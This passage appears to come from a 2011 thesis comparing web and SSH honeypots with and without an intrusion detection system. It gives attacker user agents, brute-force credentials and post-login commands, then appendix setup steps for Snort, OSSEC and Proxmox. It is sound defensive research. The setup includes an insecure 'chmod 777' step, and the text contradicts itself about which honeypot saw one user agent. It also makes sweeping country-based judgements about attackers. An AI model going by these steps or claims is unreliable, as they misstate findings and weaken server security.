knowingly submitted to the server, stored, and then presented to other users.
From the results and analysis, 75 percent of web server honeypots with IDS
were attacked and 32 percent of web server honeypots without IDS were at-
tacked using ZmEu as a user agent. ZmEu appears to be a security tool used
for discovering security holes in version 2.x.x of phpMyAdmin, a web based
MySQL database manager [2]. Currently, it has been used for non stop brute
force attacks against web servers all over the world. One can add some code to
the system modsecurity to block further testing of the systems. The code may
looks like this [30]:
Modesecurity:




Web server honeypots without intrusion detection systems have captured a
unique attacker user agent that was not captured by the honeypot web server
with the intrusion detection system. This user agent is ”Morfeus strikes again”.
The following shows sample entries out of a huge number of entries collected.
unknown.deca.tv California 2011-03-28 15:33:12 /roundcube-0.2/README
Morfeus strikes again. attacked host RIPE-NCC-HM-MNT ip-noc
/@phyber.com abuse/@noc.phyber.com
From the above attack, one can understand and retrieve information on the at-
tackers country(California),the time stamp(on 2011-03-28 15:33:12) and the re-
quest or the type of attack(/roundcube-0.2/README), the user agent(Morfeus
93
CHAPTER 6. DISCUSSION AND CONCLUSION
strikes again) and so on. This user agent is looking for README’s of applica-
tions such as squirrelmail, phpmyadmin and the like.
The README’s file helps a lot as it tells more about the version of the script.
If they have a chance to read this file, the attacker knows what is vulnerable
in the system and has some idea where important files are located. To pre-
vent ourselves from such an attack it is better to install mod-defensible. Mod-
defensible is an Apache 2.x module intended to block spammers/hackers/script
kiddies using DNSBL(black list) servers [48].
It is also good to configure apache so that all of the ’critical’ php base con-
figuration programs like myadmin, or postfixadmin, are only available via an
https link and that they are accessible from within the local LAN.
The other most important factor that can be seen in the honeypot web server
without intrusion detection system is that, there are more information about
the attackers than with the honeypot web server with IDS. From the result
section table 4.7 for web server honeypots without IDS, there are more infor-
mation about the attackers under the columns of attmnt and attmail. Yet, in
web server honeypot with IDS for the same attackers and the same time stamp,
there is no the same level of information. The system doesn’t capture it.
These two pieces of information tell us the attackers NT-BY information and
attackers whois mail results respectively. From the number of attackers per-
spective, the number of attackers in the web server honeypot with IDS is more
than the web server honeypot without IDS. This may be due to the fact that the
attackers realized that the system didn’t have any security tools and they may
think that no important information is on there or that it is fake system. In both
systems the number of attacks reached their maximum on the second week of
the test, and this may show that attackers recognize a new system roughly one
week after. The number of attacks in both cases in average, decreases after this
week.
The top attacker from Turkey on the web server honeypot with IDS was the last
on web server honeypot without IDS. The probability of this attacker know-
ing that the honeypot ran without IDS is high, otherwise there is no reason for
the attacker to suspend their attack after just one attack. The reverse is for the
United Kingdom attacker.This attacker attacked both systems with almost an
equal number of attacks, Most probably this attacker expected that both sys-
tems are giving the same services with the same security mechanisms. When
we try to classify the country based on the type of attack we can identify that
the following were used:
• Turkey: SQL injection attack
94
6.2. SSH HONEYPOT SERVER
• Vietnam: Roundcube Attack(mail server attack)
• United Kingdom: PHP-login attack
• United States: java application server attack
In both web servers there are some countries that,try to connect to the out-
side directly. Most of these attackers are from China. They tried to connect
to url:http//www.sina.com.cn and http://www.sciencedirect.com. SINA is
an online media company and SINA mobile(MVAS) provider in the People’s
Republic of China and the global Chinese communities. SINA provides many
services such as SINA community or Web 2.0-based services and games. The
second site is an information site. More or less both sites provides the same
services which relate to certain information but we ask the question of why
they try to connect there? It is suspected that there may be some tools under
this site, or that the site is fake and organised for attacking purposes.
6.2 SSH Honeypot Server
The number of attacks and different countries that participated on ssh honey-
pot server with IDS and without IDS servers were almost the same. The top
attackers on both ssh honeypot servers were from China. There is a a large
discrepancy between the number of attacks from China and those from other
countries.
If one compare the number of attacks on the web server and on the ssh server,
it discover the attempted attacks on ssh server are more. It is quite clear that
we observe the Chinese attackers were more concentrated on attacking on the
ssh server rather than the web server.
The other top attackers were from Germany, Netherlands, Pakistan and Cameroon.
It comes as a surprise when we consider the global locations of the attacks that
there hadn’t been any attacks from the African regions in the previous set of
web server attacks.
Out of the total recorded attacks attempted by the all countries, 12 percent
were authenticated, in other words just how many attackers gained access
through the system user name and password. This figure is very large, yet
shows to administrators and users the importance of user and password man-
agement within a system. It also shows that through a simple lack of care a
system can become cracked within a day regardless of any security tools that
may be installed. These simply will not help if a breach is authenticated. We
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will discuss about password later on.
If one classify the countries that attacked successfully with authenticated de-
tails the top attackers were the Netherlands with 33.5 percent of their attacks
authenticated(they cracked the system). Authenticated attacks from China
reached 7.7 percent. One can observer that attackers from the Netherlands
seem smarter than Chinese. It is good idea for system administrators to dif-
ferentiate which country or which ip addresses are more dangerous than the
others and then take their decisions on that based on that ip.
It is no surprise that one see more attacks recorded recorded during off time
and at the weekend. The maximum number of attacks on both ssh honey-
pot servers were recorded at time 22.00hrs, 9:00hrs and 16:00hrs in the order
of maximum to minimum. These are times recorded in Europe (Norway)is
5:00hrs,16:00hrs and 23:00hrs. In general we can see that these attacks were
performed out of working hours.
We can ascertain that the attackers generally attack a system after working
hours purposely as they are aware that no system administrators will be avail-
able during these times. It is therefore advisable for an organization not to
leave a system without a system administrator during off time or maybe to
employ monitoring system mechanisms that control and follow up all activity
during these periods of time. It is the same cases for the weekends, all maxi-
mum attacks on ssh server were recorded on weekends(Saturday).
From the results section table 4.12, there are 6 types of signatures that were
recorded on the honeypot ssh server with IDS. Out of these ET SCAN Poten-
tial SSH Scan and Bruteforce attacks were the most recorded signature type.
There are countries that participated in all types of signatures such as Pakistan
and China. It means that these countries participated in multiple attacks and
tried their best to breach the system.
Administrators should take into consideration such attackers and even block
their ip addresses by the firewall. There are some countries that also appear
as a destination without we saw them as a source. These addresses is most
probably the location where the attackers store their tools or their scripts so
they can download them from these ip addresses.
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6.2. SSH HONEYPOT SERVER
6.2.1 Used User Name And Password By The Attackers
Attackers used different user names and passwords to crack the system as
indicated in the figures 4.12, 4.17 and 4.18. As some expect that most linux
systems have the user name ’root’ the attackers more frequently used root as
an attempted user name.
This section will discuss several other frequently used users names other than
root. When we refer to the top user, we mean that that top user names most
used next to ’root’. We observe that the most frequently used user name at the
honeypot with IDS was the user name ’cvsuser’. Attackers expects that there
is a cvs tool in the system, and they try to have the same privilege as this user.
The most used user under the ssh honeypot without IDS is the word ’failed’,
there is no reason why this attacker used this user as a user name. The second
top used user under on this ssh server is ’nagious’. The attackers use this as a
user name in order get privilege on a nagios system. Nagios is a monitoring
tool that helps to ensure systems, applications, and services are functioning
properly. Attacking this potentially allows the attackers to control the overall
system.
It was fun and interesting too see the different passwords used by the attack-
ers. The most used passwords did not surprise but it was helpful to confirm
what suspected theoretically. The most used password by the attackers was
the number ’123456’. It is true that uneducated users are negligent with the
importance of passwords and use very simple information as part of their au-
thentication. It seems that the attackers tried many trials and researched this
area. The shh honeypot server or the kojoney tool created this number as a
password for the attacker to login to the system.
The second most used password was the word ’password’ itself. It is the same
logic as previously. Some users don’t want to think seriously about their pass-
words, thus they will use the simplest of information and something that is
easy to remember. Therefore they will give a number as we have seen above or
they write the word password itself. This is a big mistake. When kojoney(the
ssh honeypot tool) creates a fake user and fake password, it expects that some-
one will use it.
The other frequently used passwords rather than the word password or the
numbering is the name of services and the word ’test’. These are also the most
common mistakes by users, and why attackers expect that there is a probabil-
ity that a password will be the same name as the services and also giving a
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temporary password such as ’test’ which then gets used permanently.
It is recommended that a strong password is very important. The followings
are some tips to create a password:
• The password must be at least 8 characters long.
• The password must contain at least:one alpha character [a-zA-Z];
• The password must contain one numeric character [0-9];
• The password must contain one special character from like: @,¿,*
• The password must not: contain spaces; begin with an exclamation [!] or
a question mark [?]
• The first 3 characters cannot be the same.
• The sequence of the first 3 characters cannot be in your login ID.
• The first 8 characters cannot be the same as in your previous password.
• Passwords are treated as case sensitive.
6.2.2 Used command
There are many different commands used by the attackers after they break the
system. Most of the commands are to enable them to know more about the sys-
tem, about the current user, what services are running on the system etc. Out
of the all the commands, command ’w’ was used most frequently.It displays
information about the users currently on the machine, and their processes.
The header shows, in this order, the current time, how long the system has
been running, how many users are currently logged on, and the system load
averages for the past 1, 5, and 15 minutes. Attackers can understand from
user processes, what kind of service this machine is serving. It is easy for the
attacker to understand when there is more load on the system and by which
processes this load occurred. To make it more clear we can look at the follow-
ing output that the attacker got from the system by running this ’w’ command.
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 90.149.64.133 07:01 0.00s 0.41s 0.00s w
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The attacker will have more information about the current user as shown
from the above table. The attacker also received information about what com-
mands the current user run the last time. All attackers activity under these
two ssh honeypot servers are the same. No new logs or special attackers were
recorded. But there are two commands shown in the ssh honeypot without
IDS not seen under ssh honeypot server with IDS. These two commands were
’curl’ and ’lynx’.
The ’curl’ commands helps the attacker to get files from the server. This com-
mands helps them a lot since the command works without user interaction
or any kind of interactivity. The command ’lynx’: is a ”browser” program like
Netscape or Internet Explorer that can access information on World Wide Web.
Unfortunately this server is dedicated only for ssh server.
Organizations must control their system, by designating who is privileged to
what system and what this user should be able to run and so on. Not every-
one should have the privileges to run all commands, otherwise if that user is
compromised the attacker will take all his privilege and have control over all
the system.
6.3 Conclusion
At the present network security is one of the largest and most important issues
for many organizations. With the rapid increase of technology throughout the
world, there has also been an equally rapid increases in its abuse. Protecting
your system from being compromised or breached from attacker, it is now im-
portant to understand as much as you can about your enemy. To know your
enemy more you have to let them to play in your system without them being
aware that they are being deliberately allowed entry and followed through ev-
ery activity from the back door.
Attacks are invited by a network setup with intentional vulnerabilities by us-
ing a web server honeynet and ssh honeynet server. The setup is designed in
such a way that a web server honeynet with IDS and a web server honeynet
without IDS. The same applies for ssh server, ssh honeynet server with IDS
and ssh honeynet without IDS. In order to attract the attacker a suitable name
for each honeynet server should be given. financial-1 and financial-2 are the
name given to the two web server respectively. secure-1 and secure-2 are the
name given to the two the ssh servers respectively.
The set up is designed to attract attackers from different countries on both
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web and ssh servers with IDS and without IDS. The web servers are opened
for attackers for a time period between 21.03.2011 to 30.04.2011 and the ssh
servers are opened for attackers for a time between 04.04.2011 to 04.28.2011.
The attackers activity are analysed based on the collected data.
6.3.1 Conclusion Of Web Servers Honeypot
As stated in the problem statement, the main goal of the set up was to ana-
lyze the attackers activity on a system with IDS and a system without IDS and
study if there is new activity that is not seen with a system with IDS but seen
on the system without. The following paragraphs will conclude the main re-
sults of the analysis on a web server honeypots
More attacks are attempted on web server honeypot with IDS than without
IDS. More Information about the attackers are captured on a web server hon-
eypot without IDS than with IDS like attacker NT-BY information and attacker
whois mail results.
ZnEu attackers agent is the most used in both system for attacking the web
server. ’Morfeus strikes again’ user agent is only seen or captured by web
server honeypot with IDS. All countries that participated on the web server
honeypot with IDS also participated on the other, except one country.
When one look from an attack perspective, script attack is the most frequented
attack on both web servers. Attackers from Turkey are the top attackers on
a web server honeypot with IDS, and the results suggest these attackers are
smarter than others. The probability of knowing that the web server honeypot
with out IDS is fake by this attacker is high.
The United States is the top attacker for a web server honeypot without IDS.
The following countries are classified on the frequency they used this attack.
• Turkey: SQL injection attack
• Vietnam: Roundcube Attack(mail server attack)
• United Kingdom: PHP-login attack
• United States: java application server attack
For the purposes of this study one could see that a system with an IDS are
more attractive than the systems that has only the honeypot without IDS. A
system administrator has to consider all the above attackers activity and take
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his decisions such as blocking the most harmful attackers by ip Addresses.
Differentiating attackers by attack type helps administrator to control the at-
tackers depending on the service. For example blocking the Vietnam attacker
only for mail applications. You can block attackers based on url requests. And
putting all the above countries on a blacklist so that others can learn from this.
6.3.2 Conclusion Of SSH Honeypot Server
On these servers we observed attackers activity on both ssh honeypot with
IDS and also without.IDS. China is the most persistent attacker for these ssh
servers. Netherlands attackers appear smarter than the others, 33.5 percent of
their attacks are authenticated. Most attacks on these servers were attempted
on the weekend and when system administrators were not at their jobs.
6 types of signatures were recorded on these ssh honeypot servers. Out of
these ET SCAN Potential SSH Scan and Bruteforce attack were the most recorded
signature type.
’cvsuser’ and ’failed’ are the most used usernames on the ssh honeypot with
IDS and without IDS respectively. ’123456’ and ’password’ are the first and the
second most used passwords by the attackers. The most frequently use com-
mand by the attacker is the command ’w’, which helps the attacker by giving
more information about the system. ’curl’ and ’lynx’ are the most frequently
used commands by the attacker on the ssh honeypot without IDS.
System administrators should allocate users with enough privileges only for
the command,they need. It is not advisable to give all command privileges
to all users. Every user in the system has the responsibility to have or create
unbreakable passwords by using the stated password rule.
6.4 Contributions of the Thesis
The major output of this thesis is its contribution to the analysis of attackers
activity in a honeynet with IDS and honeynet without IDS, and analyzing if
new attackers activity can be detected through these processes. In addition
to these the thesis contributes a lot for system administrators. The following
outlines 10 basic areas that this thesis contributes for system administrators:
• Which country’s’ are the top attackers and on which services they focus
101
CHAPTER 6. DISCUSSION AND CONCLUSION
• What times most attackers attempt their attacks on systems
• Which command most frequently used by the attackers
• Which services are the focus of attacks
• Which type of attacks are most frequently used (which vulnerabilities
are exploited the most)
• Which countries participate in a different type of attacks
• Which attackers are the most successfully
• Obtaining full information about the attackers (more fingerprint about
the attackers)
• Which type of passwords are the most frequently used
• Aadministrators can create a black list database from this thesis.
Based on these contributions, organizations can plan what to do to secure and
prevent their systems from harmful attack.
6.5 FutureWork
Since the approach and describing the use of IDS inside the honeypot itself, as
outlined in this thesis is new, several issues could not be addressed, and they
invite further analysis. The thesis does not address the use some honeynet
tools, for example the thesis used snort to capture some attackers log in addi-
tion to the honeypot log files. But, it is better to use other tools that help to
read encrypted files.
Sebek is kernel module installed on high-interaction honeypots for the pur-
pose of extensive data collection. It allows administrators to collect activities
such as keystrokes on the system, even in encrypted environments. So, by us-
ing this tool administrators can learn more about the attackers.
During the process of this thesis, time was a big problem, after the designed
architecture was finished there was a lot of work to do in the set up. Starting
from choosing the types of services and which honeypot to make ready for
the system to be attacked. Due to this huge work, the data was collected for
a short time period. It is difficult to make a decision without getting different
types of attacks over a long period of time.
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It would be better in the future to concentrate on one of the services rather than
two services and get a sustained period of attack activity and to install sebek
for the encryption data type. In addition to sebek, it is also recomended to use
network forensics. Network forensics is the technique of analyzing network
traffic to identify malicious activities, discover their details, and to assess the
damage.
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# tar -zxf libpcap-1.1.1.tar.gz && cd libpcap-1.1.1
# ./configure --prefix=/usr --enable-shared




# tar -zxf libdnet-1.12.tgz && cd libdnet-1.12
# ./configure --prefix=/usr --enable-shared




# tar -zxf daq-0.5.tar.gz && cd daq-0.5
DAQ needs to be patched to properly recognize the buffer_size parameter.
# vi /usr/src/daq-0.5/os-daq-modules/daq_pcap.c
on line 219 replace:
context->buffer_size = strtol(entry->key, NULL, 10);
with:
context->buffer_size = strtol(entry->value, NULL, 10);
# ./configure
# make && make install
Update the shared library path






# tar -zxf snort-2.9.0.4.tar.gz && cd snort-2.9.0.4
# ./configure --with-mysql --enable-dynamicplugin
--enable-perfprofiling --enable-ipv6
--enable-zlib --enable-reload
# make && make install
# mkdir /etc/snort /etc/snort/rules /var/log/snort
/var/log/barnyard2 /usr/local/lib/snort_dynamicrules
# groupadd snort && useradd -g snort snort
# chown snort:snort /var/log/snort /var/log/barnyard2
# cp /usr/src/snort-2.9.0.4/etc/*.conf* /etc/snort
# cp /usr/src/snort-2.9.0.4/etc/*.map /etc/snort
[commandchars=\\\{\},label=Editing snort.conf file]
Change these lines:
#line 39 ipvar HOME_NET 128.39.73.0/24 :
make this match your internal (friendly) network
#line 42 ipvar EXTERNAL_NET !HOME_NET
#line 80 var RULE_PATH ./rules : this assumes /etc/snort/rules
#line 186 #190 comment out all of the preprocessor normalize_ lines
#line 366 add this: output unified2: filename snort.log, limit 128
Setup MySQL server:
# mysql -u root -p
mysql> create database snort;
mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;
mysql> SET PASSWORD FOR snort@localhost=PASSWORD(’mypassword’);
mysql> exit;
Now we have to import the database schema:
# mysql -u root -p < /usr/src/snort-2.9.0.4/schemas/create_mysql snort








# tar -zxf barnyard2-1.9.tar.gz && cd barnyard2-1.9
# ./configure --with-mysql
# make && make install
# mv /usr/local/etc/barnyard2.conf /etc/snort
# vi /etc/snort/barnyard2.conf
Line #215 change to output alert_fast
At the end of the file add this line:
Output database:
log, mysql, user=snort password=<mypassword> dbname=snort host=localhost
Now start snort and barnyard2 with these commands:
# /usr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i eth0 &
# /usr/local/bin/barnyard2 -c /etc/snort/barnyard2.conf \
-d /var/log/snort -f snort.log -w /etc/snort/bylog.waldo \
-G /etc/snort/gen-msg.map -S /etc/snort/sid-msg.map \
-C /etc/snort/classification.config &
This command shows that barnyard is correctly inserting events into the database:
# mysql -uroot -p -D snort -e "select count(*) from event" # enter password again
Install and configure BASE:
# cd /usr/src
# wget http://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz
# tar -zxf base-1.4.5.tar.gz
# cp -r base-1.4.5 /var/www/base
# chmod 777 /var/www/base (just for now)









MD5 (ossec-hids-2.5.tar.gz) = 0e332ea3ecf8055b59bf1845c9c6f3f6
SHA1 (ossec-hids-2.5.tar.gz) = 3da46b493f0e50b2453c43990b46ba43e61648bf
MD5 (ossec-agent-win32-2.5.exe) = 0730c3db2af5b7634f6250c17c09dce9
SHA1 (ossec-agent-win32-2.5.exe) = 939ea2fe688351e15445c97f2632194d389ae697
MD5 (ossec-agent-win32-2.5.1.exe) = f79a1b2002bca663f8f83626eebfbc0d
MD5 (ossec-hids-2.5.1.tar.gz) = 94a7cabbba009728510a7a3e290ab200
SHA1 (ossec-agent-win32-2.5.1.exe) = 494edcb56b74ceebe71ec8ca0e1640e228e7f319
SHA1 (ossec-hids-2.5.1.tar.gz) = 6dbda038020b30ff4f115fe655f69c4d9ae01994




- System: Linux financial-1 2.6.32-5-amd64
- User: root
- Host: financial-1
1- What kind of installation do you want (server, agent, local or help)? agent
2- Setting up the installation environment.
- Choose where to install the OSSEC HIDS [/var/ossec]: /var/ossec
3- Configuring the OSSEC HIDS.
3.1- What’s the IP Address of the OSSEC HIDS server?: 128.39.73.188
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3.2- Do you want to run the integrity check daemon? (y/n) [y]: Y
- Running syscheck (integrity check daemon).
3.3- Do you want to run the rootkit detection engine? (y/n) [y]: Y
- Running rootcheck (rootkit detection).
3.4 - Do you want to enable active response? (y/n) [y]: Y






## Extracting key from ossec server after you create agent on the server
## run manage_agents on the server
fw9:~# /var/ossec/bin/manage_agents
****************************************
* OSSEC HIDS v2.3 Agent manager. *
* The following options are available: *
****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit.
Choose your action: A,E,L,R or Q: A
- Adding a new agent.
Please provide the following:
* A name for the new agent: agent4
* The IP Address of the new agent: 128.39.73.187





Confirm adding it?(y/n): y
Agent added.
## Extracting key for an agent
****************************************
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* OSSEC HIDS v2.3 Agent manager. *
* The following options are available: *
****************************************
(A)dd an agent (A).
(E)xtract key for an agent (E).
(L)ist already added agents (L).
(R)emove an agent (R).
(Q)uit.
Choose your action: A,E,L,R or Q: E
Available agents:
ID: 001, Name: server3, IP: 128.39.73.184
ID: 002, Name: agent2, IP: 128.39.73.183
ID: 003, Name: agent3, IP: 128.39.73.182
ID: 004, Name: agent4, IP: 128.39.73.187
Provide the ID of the agent to extract the key : 004
## Import key from the server
root@server187:~/ossec-hids-2.5.1# /var/ossec/bin/manage_agents
****************************************
* OSSEC HIDS v2.5.1 Agent manager. *
* The following options are available: *
****************************************
(I)mport key from the server (I).
(Q)uit.





Confirm adding it?(y/n): y





This comment should be taken to apendex: The following are basic steps to
get our Proxmox VE up and running:
• Download ISO image and burn it on a CD
• Network lead plugged into eth0 (usually NIC 1)
• Boot from CD and start the automatic installer on your dedicated hard-
ware
• Follow the instructions on the screen
• LogIn via SSH and make sure you’re up-to-date: apt-get update and apt-
get upgrade
Configuration is done via web interface, just point your browser to the given IP
address during installation (https://128.39.73.180). We have to make sure that
our browser has sun-java6-plugin installed. And configure the basic system
setting like: Network, DNS, Time setting. The first step to create a virtual
machine is uploading the iso image via the upload button (limited to 2GB)
that we downloaded to our disktop for the corresponding virtual machines.
this also shoud be taken to apendex:
Fully virtualized Machines (KVM): Go to ”VM Manager/Virtual Machines -
Create”:
Configuration:
• Type: select ”Fully virtualized (KVM)”
• Installation Media: select ”cdrom device” (from a previously uploaded
ISO image)
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• Name: give a unique name (ex: financial-1)
• Disk space (GB): specify the size of the disk - will not pre-allocated - give
enough as changing later is not possible without command line interac-
tions and guest specific issues (32GB)
• Memory (MB): specify memory as you would give on physical hardware
(SWAP is handled within the guest)
• VMID: just use the given ID or overwrite the suggested one, start with
(101 and higher)
• Cluster Node: If you have several Proxmox VE servers, select the node
where you want to create the new virtual machine( in our case we do
have only one cluster ).
• Start at boot: tick this that enables the Virtual Machine started on reboot
of the Proxmox VE server
• Guest Type: select what you need (64 bit guests are selected)







die("Error: cannot open file ’data.txt’\n");
my $line;
my %attack;
while( $line = <MYDATA> ){
chomp($line);
# 2011/03/31 04:31 CDT [SSHServerTransport,75,95.39.23.50]
#kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
if($line =~ /^(.*) (.*) CDT.*,(.*\..*\..*\..*)\] kex alg, key alg:/){
$newline= $newline . "\t" . $command;
$command="";
print "$newline \n";
$time=$1 . ":" . $2;
$ip=$3;




if($line =~ /\] (.*) using (.*) as password/){
if ($checkusr ==0){











if($line =~ /(failed) auth password/){
if ($check ==0){




if($line =~ /COMMAND IS :(.*)/){
$command= $command . ";" . $1 ;
# print "\n$line\n";
}
}
# print "$line\n";
close MYDATA;
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